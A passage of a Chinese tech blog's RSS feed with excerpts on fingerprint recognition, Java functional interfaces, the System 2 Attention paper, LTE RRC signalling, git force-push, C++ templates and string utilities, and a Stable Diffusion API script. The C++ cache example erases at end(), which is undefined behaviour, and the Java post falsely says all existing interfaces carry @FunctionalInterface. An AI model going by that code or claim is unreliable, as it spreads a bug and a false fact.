      <description>1 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 python opencv 深度学习 指纹识别算法实现&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：4分创新点：4分 该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;2 指纹识别方式 目前市面上有两种指纹识别，分别是光学式和电容式指纹识别。&#xA;2.1 电容式指纹识别 电容式指纹识别要比光学式的复杂得多，其原理是将压力感测、电容感测、热感测等感测器整合于一块芯片中，当指纹按压芯片表面时，内部电容感测器会根据指纹波峰与波谷而产生的电荷差（或是温差），形成指纹影像，再通过与算法内部的指纹库进行匹配，从而完成指纹识别。&#xA;电容式指纹识别技术较为复杂，对技术研发和积累有较高要求，并且涉及大量专利，算法得实现也相对困难，所以目前全球只有少数公司能在这方面提供领先的技术产品。&#xA;2.2 光学式指纹识别 然后是光学式指纹识别，大家常见的指纹考勤机就是光学式指纹识别。&#xA;这类光学式指纹识别主要包括4个方面功能&#xA;1.指纹模块负责采集指纹图像。2.数字信号处理器主要把采集到的指纹图像转化为数字信号。3.微控制器是整个系统的控制单元，在这里将进行指纹的验证以及输出指令。4.液晶显示器将输出指纹验证结果。 当我们把手指放在指纹考勤机上时，通过镜面反射原理，指纹模块就会采集指纹图像&#xA;接着指纹图像就会被数字信号处理器转换成数字信号&#xA;然后通过微控制器将数字信号与指纹库里的指纹进行匹配，匹配结果将通过液晶显示器显示出来。这就是光学式指纹识别的工作原理。&#xA;电容式与光学式指纹识别主要在指纹的采集方式上拥有较大差异，而在指纹的验证过程中则基本类似。然而因为电容式指纹识别拥有体积小、适用性广的优点，已经有越来越多的设备采用电容式指纹识别，未来的主流将是电容式指纹识别。&#xA;3 指纹识别算法实现 3.1 指纹识别算法流程 3.2 指纹图像预处理 1.图像归一化2.图像分割3.图像二值化4.细化 几个步骤 当然有一些算法为了追求极致，中间还利用了增强、多重滤波等方式，但最根本的目的都是为了在细化之后保留指纹信息并且方便后续处理。&#xA;预处理之后是特征点的提取，也就是找到指纹图像当中有价值，具有唯一性和不变性的信息。主要特征点有端点、分叉点几类，在提取部分除了简单的遍历检索确认之外，还有比较重要的一步是伪特征点的去除，主要是针对图像不清晰、不完整导致的断点和边缘端点等。&#xA;最后一步是特征点的匹配，将指纹库中的指纹信息与提取的目标图像特征点进行对比。主流算法是以指纹中心点为依据，根据特征点所在的角度及距离，确认其所在位置，根据匹配度计算是否是同一手指的指纹。&#xA;3.3 指纹图像目标提取 指纹图像目标提取主要是将指纹图片中提取出来，也叫做指纹图像分割。&#xA;图片的前景通过观察可知是由条状或者圆形的一些组成，而底图其他部分只是一个均匀的底色而已。&#xA;我们使用非常简单的手段，基于局部梯度就可以很容易实现我们的目标。&#xA;方差梯度法提取指纹:&#xA;指纹图像通常由前景区域（包含有指纹的脊线和谷线）和背景区域这两部分组成。一般来说，在指纹图像的前景区域中，指纹的脊线和谷线的灰度差是较大的，因而其灰度统计特性局部灰度方差很大；而在指纹图像的背景区域中，两者的方差是很小的。基于这一特性，可以利用指纹图像的局部方差来进行分割。因此，这种方法也被称为方差梯度法。&#xA;的灰度平均值 M和方差 Var计算方法：&#xA;提取前的指纹图像：&#xA;提取后的指纹图像：&#xA;可以看到，学长做的还有些噪点，但是也很好解决，做一次形态学操作即可：&#xA;这样噪点就去除了。&#xA;3.4 指纹图像增强 3.5 指纹特征提取 人体指纹的特征可以反映在给定的人类群体里来自不同手指的指纹之间相似的程度。&#xA;指纹的特征信息很多，所有的这些指纹特征信息构成了庞大的指纹特征集合。&#xA;指纹的细节特征主要指的是纹线端点（RidgeEnding）和纹线分叉点（RidgeBifurcation）。&#xA;纹线端点指的是纹线突然结束的位置，而纹线分叉点则是指纹线一分为二的位置。&#xA;大量的统计结果表明，使用这两类特征点就足以描述指纹的唯一性。&#xA;Minutia Cylinder-Code (MCC) ，该算法是非常著名的指纹特征识提取算法，</description>
    </item>
    <item>
      <title>Java8——函数式接口</title>
      <link>https://bchobby.github.io/posts/a8c30203512b695b175d79df66db439f/</link>
      <pubDate>Wed, 13 Dec 2023 11:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8c30203512b695b175d79df66db439f/</guid>
      <description>函数式接口也称 SAM 接口，即 Single Abstract Method interfaces，有且只有一个抽象方法，但可以有多个非抽象方法的接口。&#xA;为了让现有的功能和lambda表达式友好兼容，于是就有了函数接口这个概念。函数式接口是只包含一个抽象方法声明的接口。像这样地，函数接口可以隐式地转换成lambda表达式。&#xA;java.lang.Runnable 和java.util.concurrent.Callable是函数接口两个最好的例子。在 Runnable 接口中只声明了一个方法 void run()，我们使用匿名内部类来实例化函数式接口的对象，有了 Lambda 表达式，这一方式可以得到简化。看一下Java 8之前的runnable实现方法，需要4行代码，而使用lambda表达式只需要一行代码。&#xA;// Java 8之前：&#xA;new Thread(new Runnable() { @Override public void run() { System.out.println(&#34;Before Java8, too much code for too little to do&#34;); } }).start(); //Java 8方式：&#xA;new Thread( () -&amp;gt; System.out.println(&#34;In Java8, Lambda expression rocks !!&#34;) ).start(); 但是在实践中，函数接口是非常脆弱的，只要有人在接口里添加多一个方法，那么这个接口就不是函数接口了，就会导致编译失败。Java 8提供了一个特殊的注解@FunctionalInterface来克服上面提到的脆弱性并且显示地表明函数接口的目的（java里所有现存的接口都已经加上了@FunctionalInterface）。让我们看看一个简单的函数接口定义：&#xA;@FunctionalInterface public interface Functional { void method(); } 我们要记住默认的方法和静态方法不会违反函数接口的约定，例子如下：&#xA;@FunctionalInterface public interface FunctionalDefaultMethods { void method(); default void defaultMethod() { } } 在 java 8 中专门有一个包放函数式接口java.</description>
    </item>
    <item>
      <title>【论文解读】System 2 Attention提高大语言模型客观性和事实性</title>
      <link>https://bchobby.github.io/posts/7b1166b78a0d570f157fcde742897af8/</link>
      <pubDate>Wed, 13 Dec 2023 11:09:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b1166b78a0d570f157fcde742897af8/</guid>
      <description>一、简要介绍&#xA;本文简要介绍了论文“System 2 Attention (is something you might need too) ”的相关工作。基于transformer的大语言模型（LLM）中的软注意很容易将上下文中的不相关信息合并到其潜在的表征中，这将对下一token的生成产生不利影响。为了帮助纠正这些问题，论文引入了System 2 Attention（S2A），它利用LLM的能力，用自然语言进行推理，并遵循指示，以决定要处理什么。S2A重新生成输入上下文以使输入上下文只包含相关部分，然后再处理重新生成的上下文以引出最终响应。在实验中，S2A在包含意见或不相关信息的三个任务：QA、数学单词问题和长形生成上优于标准的基于注意力的LLM，其中S2A增加了事实性和客观性，减少了虚假性。&#xA;二、研究背景&#xA;大型语言模型（LLM）具有很强的能力，但它们仍然容易犯简单的错误，这些错误似乎显示出较弱的推理能力。例如，他们可能会被不相关的上下文做出错误判断，或输入提示固有的偏好或意见，在后一种情况下表现出一个称为追随性的问题，即模型与输入一致。&#xA;虽然一些方法试图通过添加更多的监督训练数据或强化学习策略来缓解这些问题，但论文假设潜在的问题是transformer本身的构建方式所固有的，特别是它的注意机制。也就是说，软注意倾向于将概率分配给大部分上下文，包括不相关的部分，倾向于过度关注重复的标记，部分原因是其训练方式，部分原因是位置编码机制也倾向于将上下文视为词袋。&#xA;在这项工作中，论文因此研究了一种完全不同的处理注意机制的方法：通过使用LLM作为自然语言推理器来执行注意。具体来说，论文利用LLM遵循指令的能力，并提示它们生成它们应该注意的上下文，这样它就只包含不会扭曲其推理的相关材料。论文将此过程称为系统2注意（S2A），因为论文可以将底层的transformer及其注意机制视为类似于人类系统1推理的自动操作。系统2，分配注意力活动，在需要刻意注意一个任务的时候接管人类活动，特别是在系统1很可能犯错误的情况下。因此，这个子系统类似于论文的S2A方法的目标，因为论文的目标是通过推理引擎（LLM）的额外刻意努力来减轻上述transformer软注意的故障。&#xA;论文描述了系统2的注意机制的类，提供了进一步的动机，并在下文中详细介绍了几个具体的实现。在下文中，论文通过实验表明，与标准的基于注意力的LLM相比，S2A可以产生更真实、更少固执己见或谄媚的生成。特别是在修改后的TriviQA数据集上，包括问题中的干扰物意见，与LLaMa-2-70b聊天相比，S2A将事实性从62.8%增加到80.3%，而对于包含干扰物输入情绪的长期生成的论证，客观性增加了57.4%，并且在很大程度上不受插入意见的影响。最后，对于GSM-IC中包含主题无关句子的数学词汇问题，S2A将准确率从51.7%提高到61.3%。&#xA;三、System 2 Attention&#xA;3.1 Motivation&#xA;大型语言模型通过预训练的过程获得了优秀的推理能力和大量的知识。他们的下一个词的预测目标要求他们密切关注当前的上下文。例如，如果在一个上下文中提到了某个实体，那么同一实体很可能稍后会在同一上下文中再次出现。基于transformer的LLM能够学习这些统计相关性，因为软注意机制允许它们在他们的上下文中找到相似的单词和概念。虽然这可能会提高下一个单词的预测精度，但它也使LLM容易受到其上下文中的虚假相关性的不利影响。例如，众所周知，重复短语的概率随着每次重复而增加，从而产生一个正反馈循环。将这个问题推广到所谓的非平凡重复，模型也倾向于在上下文中重复相关主题，而不仅仅是特定的标记，因为潜在表示可能预测来自相同主题空间的更多标记。当上下文包含模型复制的观点时，这被称为追随性，但一般来说，论文认为这个问题与上面讨论的任何一种上下文有关，而不仅仅是与意见一致的问题。&#xA;图1显示了一个伪相关的示例。即使是当上下文包含不相关的句子时，最强大的LLM也会将它们的答案改变为一个简单的事实问题，这由于上下文中出现的标记，无意中增加了错误答案的标记概率。在这个例子中，添加的上下文似乎与这个问题相关，因为两者都是关于一个城市和一个出生地的。但随着更深入的理解，很明显，所添加的文本是无关紧要的，因此应该被忽略。&#xA;这促使人们需要一个更慎重的注意机制，它依赖于更深入的理解。为了区别于更低的层次的注意机制，论文称之为系统2注意（S2A）。在本文中，论文探索了一种利用LLM本身来构建这种注意机制的方法。特别是，论文使用指令调优的LLM，通过删除不相关的文本来重写上下文。通过这种方式，LLM可以在输出响应之前，对输入的哪些部分做出慎重的推理决策。使用指令调优的LLM的另一个优点是可以控制注意力焦点，这可能类似于人类控制注意力的方式。&#xA;3.2 Implementation&#xA;论文考虑一个典型的场景，即一个大语言模型（LLM）给定一个上下文，记为x，其目标是生成一个高质量的序列，记为y。这个过程用y∼LLM (x)表示。&#xA;系统2注意（S2A）是一个简单的两步过程：&#xA;给定上下文x，S2A首先重新生成上下文x&#39;，这样上下文中将对输出产生不利影响的无关部分将被删除。论文表示这个x&#39;∼S2A (x)。&#xA;给定x&#39;，然后论文使用重新生成的上下文而不是原始的上下文来生成来自LLM的最终响应：y∼LLM（x′）。&#xA;S2A可以被看作是一类技术，有各种方法来实现步骤1。在论文的具体实现中，论文利用了通用的指令调优LLM，它们已经熟练地进行推理和生成类似于S2A所需的任务，因此论文可以通过提示将这个过程作为指令来实现。&#xA;具体来说，S2A (x) = LLM（PS2A(x)），其中PS2A是一个函数，向LLM生zero-shot提示，指示它执行所需的系统2注意任务。&#xA;图2给出了论文在实验中使用的提示PS2A。这个S2A指令要求LLM重新生成上下文，提取助于为给定查询提供相关上下文的部分。在这个实现中，它特别要求生成一个x&#39;，将有用的上下文与查询本身分开，以便澄清模型的这些推理步骤。&#xA;通常情况下，一些后处理也可以应用于步骤1的输出，以构造步骤2的提示，因为LLM之后的指令除了请求的字段外，还会产生额外的思维链推理和注释。论文从图2中删除了括号中请求的文本，并添加了图13中给出的附加说明。在下面的小节中，论文将考虑S2A的各种其他可能的实现。&#xA;3.3 Alternative Implementations and Variations&#xA;论文考虑了S2A方法的几个变体。&#xA;没有上下文/问题分离（No context/question separation） 在图2中的实现中，论文选择重新生成分解为两部分的上下文（上下文和问题）。这是专门为了鼓励模型复制需要关注的所有上下文，同时不忽略提示符本身的目标（问题/查询）。论文观察到，一些模型在复制所有必要的上下文时可能会遇到困难，但对于短上下文（或强LLM），这可能是不必要的，而一个简单地要求非分区重写的S2A提示就足够了。这个提示变体如图12所示。&#xA;保留原始上下文 （Keep original context）在S2A中，在上下文重新生成之后，包含了所有必要的元素，然后模型只给出重新生成的上下文x&#39;，因此原始上下文x被丢弃。如果S2A表现不佳，并且一些被认为无关并被删除的原始上下文实际上是重要的，那么信息就丢失了。在“保持原文”变体中，在运行S2A提示后，会将x&#39;添加到原始提示符x上，以便原始上下文和重新解释都可以供模型访问。这种方法的一个问题是，现在原始的无关信息仍然存在，并且仍然可能影响最终生成。这个提示变体如图14所示。&#xA;指示提示（Instructed prompting） 图2中给出的S2A提示鼓励从上下文中删除被意见影响的文本，并使用步骤2（图13）中的说明来要求不被影响的响应。论文可以删除后者，并在S2A第2步的提示模板中删除此指令。论文还可以将其与进一步的baseline进行比较，在这个baseline中，论文简单地将图13中的额外指令请求添加到原始上下文中（而不是完全执行S2A）。&#xA;强调相关性/不相关性（Emphasize Relevance/Irrelevance） 到目前为止描述的S2A实现强调重新生成上下文以增加客观性和减少追随性。但是，还有其他方法可以强调应处理具体的情况。例如，人们可以强调相关性而非无关性。图15的提示变体中给出了这种方法的实例，论文也将在论文的实验中使用。&#xA;四、实验&#xA;论文在三种情况下进行实验来评估S2A：Factual QA Evaluation和 Longform Generation Evaluation，以及math word problem解决。</description>
    </item>
    <item>
      <title>## 还记得当初自己为什么选择计算机？</title>
      <link>https://bchobby.github.io/posts/cd43e4d66d44ba5c6b72d7967c94e6d3/</link>
      <pubDate>Wed, 13 Dec 2023 11:00:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd43e4d66d44ba5c6b72d7967c94e6d3/</guid>
      <description>还记得当初自己为什么选择计算机？ 方向一：为什么当初选择计算机行业&#xA;那个……我的理由是这样的。&#xA;小时候家人说我喜欢打游戏机，然后就说长大了去学电脑吧，然后我就入行了……哈哈哈哈&#xA;方向二：现在还从事计算机相关行业吗&#xA;是的是的，目前依然在这个行业拼搏，虽然是个运维，但是我骄傲。&#xA;看了流浪地球，你会发现一个靠谱的运维对于一个重要的系统有多重要，哈哈哈&#xA;方向三：计算机对自己的人生道路有帮助吗&#xA;必须有啊，更好的了解前沿技术，始终保持对新世界的认知。</description>
    </item>
    <item>
      <title>RRC下的NAS层</title>
      <link>https://bchobby.github.io/posts/45a5bd66940315356a19ffdca4a16e8c/</link>
      <pubDate>Wed, 13 Dec 2023 10:55:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45a5bd66940315356a19ffdca4a16e8c/</guid>
      <description>无线资源控制（Radio Resource Control，RRC），又称为无线资源管理（RRM）或者无线资源分配（RRA），是指通过一定的策略和手段进行无线资源管理、控制和调度，在满足服务质量的要求下，尽可能地充分利用有限的无线网络资源，确保到达规划的覆盖区域，尽可能地提高业务容量和资源利用率。&#xA;Nas,非接入层(原名NAS,Non-access stratum)存在于UMTS的无线通信协议栈中,作为核心网与用户设备之间的功能层。该层支持在这两者之间的信令和数据传输。&#xA;RRC，RRC主要处理UE与基站之间的信令交互NAS，NAS主要处理基站与MME之间的信令交互 蓝线：信令流（控制面）//红线：数据流（用户面） 一、RRC协议功能 为NAS层提供连接管理，消息传递等服务；对接入网的底层协议实体提供参数配置的功能；负责UE移动性管理相关的测量、控制等功能 二、RRC状态 1.RRC_IDLE PLMN选择；&#xA;NAS配置的DRX过程；&#xA;系统信息广播和寻呼；&#xA;邻小区测量；&#xA;小区重选的移动性；&#xA;UE获取一个TA区内的唯一标识；&#xA;eNB内无终端上下文&#xA;2.RRC_CONNECTION 网络侧有UE的上下文信息；&#xA;网络侧知道UE所处小区；&#xA;网络和终端可以传输数据；&#xA;网络控制终端的移动性；&#xA;邻小区测量；&#xA;存在RRC连接：&#xA;UE可以从网络侧收发数据，监听共享信道上指示控制授权的控制信令；&#xA;UE可以上报信道质量给网络侧；&#xA;UE可以根据网络配置进行DRX&#xA;三、RRC协议承载——SRB（signaling radio bearers—信令无线承载） 四、RRC连接建立过程 连接建立原因：处于IDLE状态下的UE需转变为连接状态时发起该过程，如：呼叫、响应寻呼、TAU、Attach等。&#xA;Step1：RRC连接请求：UE通过UL_CCCH在SRB0上发起，携带UE的初始（NAS）标识和建立原因等，该消息对应于随机接入过的Msg3；&#xA;Step2：RRC连接建立：eNB通过DL_CCCH在SRB0上发送，携带SRB1的完整配置信息，该消息对应随机接入过程的Msg4；&#xA;Step3：RRC连接建立完成：UE通过UL_DCCH在SRB1上发送，携带上行方向NAS消息，如Attach Request、TAU Request、Service Request、Detach Request等，eNB根据这些消息进行S1口建立。&#xA;五、RRC连接建立失败过程 上述四中，Step2中，如果eNB拒绝为UE建立RRC连接，则通过DL_CCCH在SRB0上回复一条RRC连接拒绝消息。&#xA;六、RRC连接重建过程 当处于RRC连接状态但出现切换失败、无线链路失败、完整性保护失败、RRC重配置失败等情况时，触发重连过程。&#xA;Step1：RRC连接重建请求：UE通过UL_CCCH在SRB0上发起，携带UE的初始AS层初始标识信息和重建立原因，该消息对应随机接入过程的Msg3；&#xA;Step2：RRC连接重建：eNB通过DL_CCCH在SRB0上回复，携带SRB1的完整配置信息，该消息对应随机接入过程的Msg4；&#xA;Step3：RRC连接重建立完成：UE通过UL_DCCH在SRB1上发送，不携带任何实际信息，只起到RRC层确认的功能。&#xA;七、RRC连接重建拒绝过程 上述Step2中，如果eNB中没有UE的上下文信息，则拒绝为UE重建RRC连接，则通过DL_CCCH在SRB0上回复一条RRC连接重建立拒绝消息。&#xA;八、RRC连接重配置过程 当需要发起对SRB和DRB的管理、低层参数配置、切换执行和测量控制时，触发连接重配置过程。&#xA;Step1：RRC连接重配置：eNB通过DL_CCCH在SRB1上发送，根据功能的不同携带不同的配置信息内容，一条消息中可以携带体现多个功能的信息单元；&#xA;Step2：RRC连接重配置完成：UE通过UL_DCCH在SRB1上发送，不携带任何实际信息，只起到RRC层确认的功能。&#xA;九、RRC连接重配置异常过程 若UE无法执行RRC连接重配置消息中的内容，则UE回退到收到该消息前的配置，并发起RRC连接重建立过程。&#xA;十、 RRC连接释放过程 当网络希望解除于UE的RRC连接时，触发RRC连接释放过程。&#xA;RRC连接释放：eNB通过DL_DCCH在SRB1上发送，可选择携带重定位信息和专用优先级分配信息（用于控制UE的小区选择和小区重选）。&#xA;本地释放：某些情况下，UE的RRC层根据NAS层的指示主动释放RRC连接，不通知网络侧而主动进入空闲状态，如NAS层鉴权过程中没有通过鉴权检查。&#xA;十一、4/5G信令过程对比 4G5GUE/gNB/AMF状态管理注册状态均包含注册态和去注册态连接状态NAS层CM_IDLE和CM_CONNECTED连接状态AS层（RRC）IDLE和CONNECTEDIDLE、CONNECTED和INACTIVE开机注册attach过程register过程RRC连接建立、重配置、释放、修改相同，5G的RRC流程 最终在18年9月确定业务发起IDLE态发起4G service request5G service requestCONNECTED态发起新业务4G ERAB建立或修改5G PDU session建立或修改双连接（DC） 4/5G DC信令过程与4G基本相同，差别在消息信元上；</description>
    </item>
    <item>
      <title>git根据commit id强制推送,撤销远程仓库代码</title>
      <link>https://bchobby.github.io/posts/0ededc9ce2200c91fffc180690dae8f3/</link>
      <pubDate>Wed, 13 Dec 2023 10:54:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ededc9ce2200c91fffc180690dae8f3/</guid>
      <description>由于将把不用发版的需求合并上去了，现在想撤回，可以根据以下操作进行 注意撤回、强制推送有风险，记得强制撤回前，备份好代码 确保本地仓库中包含你想要推送的 commit： 这里你要经常使用命令进行操作的话，就用git log查看你要的 commit ID，我这里使用的vscode插件Git Graph查看commit ID的，都是一样的操作&#xA;git log 通过 git log 命令查看本地仓库的提交历史，找到你想要推送的 commit 的 commit ID。&#xA;git push -f origin &amp;lt;commit-id&amp;gt;:&amp;lt;branch-name&amp;gt; 这会将特定 commit 推送到远程分支，替换 为你想要推送的 commit 的 SHA-1 值， 为你的目标分支。&#xA;如果在想撤回本地dev分支，你就按vscode的插件来撤回</description>
    </item>
    <item>
      <title>c&#43;&#43;泛型示例</title>
      <link>https://bchobby.github.io/posts/5365b2e87532e6f6df886dd6be59efc0/</link>
      <pubDate>Wed, 13 Dec 2023 09:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5365b2e87532e6f6df886dd6be59efc0/</guid>
      <description>一个粗糙的c++范型示例&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;fstream&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;vector&amp;gt; using namespace std; class CacheDataA { public: int aValue; }; class CacheDataB { public: int bValue1; int bValue2; }; template &amp;lt;class T&amp;gt; class BaseCacheEngin { public: BaseCacheEngin(int maxCacheCount); std::vector&amp;lt;T *&amp;gt; cacheDataList; int cacheData(T *cacheData); T *popData(); private: int mMaxCacheCount; }; template &amp;lt;class T&amp;gt; BaseCacheEngin&amp;lt;T&amp;gt;::BaseCacheEngin(int maxCacheCount) { mMaxCacheCount = maxCacheCount; } template &amp;lt;class T&amp;gt; int BaseCacheEngin&amp;lt;T&amp;gt;::cacheData(T *cacheData) { cacheDataList.push_back(cacheData); if(cacheDataList.size()&amp;gt;mMaxCacheCount){ cacheDataList.erase(cacheDataList.end()); } return 0; } template &amp;lt;class T&amp;gt; T *BaseCacheEngin&amp;lt;T&amp;gt;::popData() { if (cacheDataList.</description>
    </item>
    <item>
      <title>C&#43;&#43;对string字符串进行trim和split操作</title>
      <link>https://bchobby.github.io/posts/5680b76574ce59e28014c6225d51df88/</link>
      <pubDate>Wed, 13 Dec 2023 09:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5680b76574ce59e28014c6225d51df88/</guid>
      <description>c++小白的学习笔记；&#xA;记录c++ trim和split的实现方法：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;regex&amp;gt; using namespace std; namespace { bool isntspace(const char &amp;amp;ch) { return !isspace(ch); } } // end of namespace const std::string ltrim(const std::string &amp;amp;s) { std::string::const_iterator iter = find_if(s.begin(), s.end(), isntspace); return std::string(iter, s.end()); } const std::string rtrim(const string &amp;amp;s) { std::string::const_iterator iter = find_if(s.rbegin(), s.rend(), isntspace).base(); return std::string(s.begin(), iter); } const std::string trim(const std::string &amp;amp;s) { std::string::const_iterator iter1 = find_if(s.</description>
    </item>
    <item>
      <title>Microsoft edge 浏览器打开是360导航页面解决方法</title>
      <link>https://bchobby.github.io/posts/dae15ad79a78c0858e7c81ac0928b02e/</link>
      <pubDate>Wed, 13 Dec 2023 09:13:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae15ad79a78c0858e7c81ac0928b02e/</guid>
      <description>问题如下： 在win10电脑中，我们打开浏览器经常会出现以下的情况 ，每次打开默认会出现360的导航首页，这让我们对浏览器的体验感极差，并不是我们想要的，今天分享一个方法解决，适用于大部分的游览器，&#xA;情况如下：&#xA;解决办法如下： 1、打开游览器--》设置 2、选择--》开始、主页和新建标签页 3、点击--》... 4、选择--》删除 5、选择启动时--》打开新的标签页 最后重新启动一下游览器，就可以看到页面不会在出现360的提示了</description>
    </item>
    <item>
      <title>利用Stable Diffusion Web UI API实现高级图像生成</title>
      <link>https://bchobby.github.io/posts/8bc7a9941ce99807e49f02bb58a44f7d/</link>
      <pubDate>Wed, 13 Dec 2023 07:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bc7a9941ce99807e49f02bb58a44f7d/</guid>
      <description>下面代码是一个 Python 脚本，用于与 Stable Diffusion 模型的 Web UI 服务器进行交互，实现文本到图像（txt2img）和图像到图像（img2img）的转换。这个脚本展示了如何通过编程方式使用 API 来生成和修改图像，这在自动化图像生成和处理的应用中非常有价值。&#xA;from datetime import datetime import urllib.request import base64 import json import time import os # 文档https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/API webui_server_url = &#39;&#39; # 输入api out_dir = &#39;api_out&#39; out_dir_t2i = os.path.join(out_dir, &#39;txt2img&#39;) out_dir_i2i = os.path.join(out_dir, &#39;img2img&#39;) os.makedirs(out_dir_t2i, exist_ok=True) os.makedirs(out_dir_i2i, exist_ok=True) def timestamp(): return datetime.fromtimestamp(time.time()).strftime(&#34;%Y%m%d-%H%M%S&#34;) def encode_file_to_base64(path): with open(path, &#39;rb&#39;) as file: return base64.b64encode(file.read()).decode(&#39;utf-8&#39;) def decode_and_save_base64(base64_str, save_path): with open(save_path, &#34;wb&#34;) as file: file.write(base64.b64decode(base64_str)) def call_api(api_endpoint, **payload): data = json.</description>
    </item>
    <item>
      <title>架构设计系列之基础：基础理论（一）</title>
      <link>https://bchobby.github.io/posts/2af3fceaca7d55c648a19c568d7fb743/</link>
      <pubDate>Wed, 13 Dec 2023 00:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af3fceaca7d55c648a19c568d7fb743/</guid>
      <description>在软件开发和软件架构领域，深厚的理论基础是构建高质量、可维护、可扩展系统的关键，本部分内容将围绕这些基础理论展开。（本部分内容介绍第一部分：编程三范式、架构设计原则、软件设计七原则）&#xA;一、编程三范式 编程范式是程序设计的基本思想和方法，对于程序员来说，他是告诉我们在实际编码和设计的过程中不能做什么，而非可以做什么。了解和灵活运用编程范式，有助于构建更加清晰、灵活、可维护的代码。&#xA;1 、结构化编程（Structured programming） 是基于过程的一种编程范式，将问题分解为一系列的步骤，每个步骤都由一个过程或函数表示。强调程序的执行过程，是用于简单的任务和流程。&#xA;结构化编程是对程序控制权的直接转移进行了限制和规范。&#xA;优势 直观且易于理解和实现适用于线性、简单的任务 适用场景 独立脚本编写简单的操作和流程 2、面向对象编程（Object-oriented programming） 是一种以对象为基础的编程范式，将数据和操作封装在对象中，强调对象之间的交互和关系。&#xA;核心思想是通过抽象、继承、封装和多态等概念，提高代码的重用性和可维护性。&#xA;面向对象编程是对程序控制权的间接转移进行了限制和规范。&#xA;优势 模块化，提高代码的可维护性重用性高，减少重复代码 适用场景 复杂系统设计大规模团队协作 3、函数式编程（Funtional programming） 是一种以函数为基础的编程范式，将计算视为数据函数的求值过程。强调纯函数、不可变性和无副作用，通过组合函数来构建复杂的系统。&#xA;函数式编程是对程序中的赋值进行了限制和规范。&#xA;优势 副作用少，易于调试和测试并行计算友好 适用场景 数据处理和转换并行和分布式系统 了解并灵活运用这三个范式，有助于根据问题的性质选择最合适的编程方式，提高代码的质量和可维护性。在实际项目中，通常会综合运用多种范式，以充分发挥他们的优势。&#xA;4、编程范式与架构设计的关系 编程范式和架构设计是有着密切关系的：&#xA;结构化编程是在做各个模块设计和实现时的基础要求面向对象编程中比如多态是跨越架构边界的手段函数式编程是用来规范和限制数据存放位置与访问权限的手段 基于上面的分析，你会发现，这三点和架构设计中的功能性、组件独立性、数据管理是密切相关的。&#xA;二、架构设计原则 1 、 合适原则 架构设计应该全面考虑时间、人力、能力、效率、成本，选择当前最为合适的方案。&#xA;合适的方案并非简单化，而是在充分考虑投资回报率（ROI）的基础上，根据项目需求和实际情况进行权衡和决策。&#xA;在实现功能的前提下，追求高效率和降低成本是合适方案的关键。&#xA;2 、简单原则 简单原则强调在满足功能需求的前提下，追求简洁和可读性。&#xA;简单设计有助于提高研发效率、降低成本、减少错误率，并能够提高系统的可维护性和可扩展性。&#xA;核心思想是简单优于复杂。在实现功能的前提下，减少代码量和复杂性，避免过度设计带来的复杂度。&#xA;简单的设计更容易理解、测试和部署，同时也易于维护和扩展，减少未来的开发难度和成本。&#xA;3 、演化原则 演化原则是指导设计出能够适应未来变化的重要原则，要求技术人员具备前瞻性。&#xA;架构设计应该具备灵活性和可扩展性，以便在未来的开发过程中能轻松应对新功能的研发、适应新的需求和变化。&#xA;核心思想是演化强于一步到位。任何一个软件产品和系统都需要不断变化和演进，因此在设计过程中要避免过于复杂、难以维护和扩展的结构。&#xA;持续的演化有助于保持系统的健康状态，适应业务和技术的不断发展。&#xA;三、软件设计七原则 做好一个系统，要先从写出整洁和易维护的代码开始。如果代码质量不佳，那架构能起到的作用就不会太大，多好的架构也绷不住堆砌的烂代码。反之，如果架构设计的不太理想，代码写的再好其实也无太大用处。两者之间是相辅相成，互相成就的。&#xA;1 、SRP（Single responsibility Principle）单一职责原则 SRP 是一项简单易懂且重要的原则，但是在实际过程中往往最容易忽略的，它强调在应用中，一个类应该只有一个引起变化的原因，只有一个职责。&#xA;SRP 是基于康威定律的推导结论：软件系统的最佳结构高度依赖于开发这个系统的组织的内部结构，每个软件模块都有且只有一个需要被改变的理由。&#xA;优点 降低类之间的耦合：将不同职责分解为不同的类，降低类之间的依赖关系，提高系统的灵活性和可维护性提升类的可维护性和可重用性：当一个类只有一个职责时，修改该职责不会影响到其他职责，使得类更加稳定，易于维护和重用简化设计过程：SRP 原则使得类的设计更加清晰，每个类都专注于解决一个问题，降低了设计的复杂性 示例代码 多职责的类设计&#xA;public class UserService { /*** 运营部员工绩效计算 */ public BigDecimal calculateKPIResultForOperation() { } /*** 商务员工绩效计算 */ public BigDecimal calculateKPIResultForBusiness() { } /*** 产品部员工绩效计算 */ public BigDecimal calculateKPIResultForProduct() { } /*** 技术部员工绩效计算 */ public BigDecimal calculateKPIResultForTechnology() { } } SRP 后的类设计</description>
    </item>
    <item>
      <title>最新科研成果：在钻石中存储多比特数据，实现25GB数据密度</title>
      <link>https://bchobby.github.io/posts/53d32edc1b63150a704889d164c91125/</link>
      <pubDate>Tue, 12 Dec 2023 22:39:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53d32edc1b63150a704889d164c91125/</guid>
